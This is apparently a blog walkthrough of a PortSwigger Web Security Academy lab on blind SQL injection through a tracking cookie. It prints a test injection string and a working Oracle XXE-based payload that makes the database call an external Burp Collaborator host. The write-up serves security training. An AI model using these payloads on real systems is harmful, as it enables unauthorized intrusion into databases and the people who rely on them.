Blind SQL Injection with Out-of-band Interaction- PortSwigger Lab Walkthrough

Introduction
In this walkthrough, we will exploit a blind SQL injection Vulnerability that allows out-of-band(OAST) interaction using Burp Collaborator. This lab is from PostSwigger’s Web Security Academy and requires us to generate a DNS lookup to an external server.
Understanding the Lab
The application:
Uses a tracking cookie for analytics.
Executes a SQL query containing the submitted cookie value.
Runs the SQL query asynchronously, meaning no response-based evidence of injection.
Allows out-of-band(OOB) interactions with an external domain.
To solve this, we must trigger a DNS lookup to Burp Collaborator by injecting a SQL payload.
Exploitation Steps
Step 1: Set Up Burp Collaborator
Open Burp Suite —> Go to Burp Collaborator.
Click Copy to clipboard to get your unique Burp Collaborator payload(e.g., xyz.burpcollaborator.net).
Step 2: Identify the Injection Point
Open Burp Suite Proxy and capture a request that contains a tracking cookie(likely in the Cookie header).
Send the request to Burp Repeater and modify the cookie value to test for injection:
‘ OR ‘1’=’1
Observe that no immediate response change confirms SQL injection, suggesting blind injection.
Step 3: Trigger an Out-of-Band DNS Lookup
Inject a payload that forces a DNS lookup to Burp Collaborator:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
Step 4: Verify the Interaction
Go to Burp Collaborator and click Poll Now.
If an HTTPS/DNS request appears, the injection worked!
The lab should now be solved.
Conclusion
This lab demonstrates a blind SQL injection with OOB interaction, useful when:
No direct response-based feedback is available.
The database allows external network interactions.
Burp Collaborator helps confirm the injection.
Subscribe to my newsletter
Read articles from Hacker2255 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
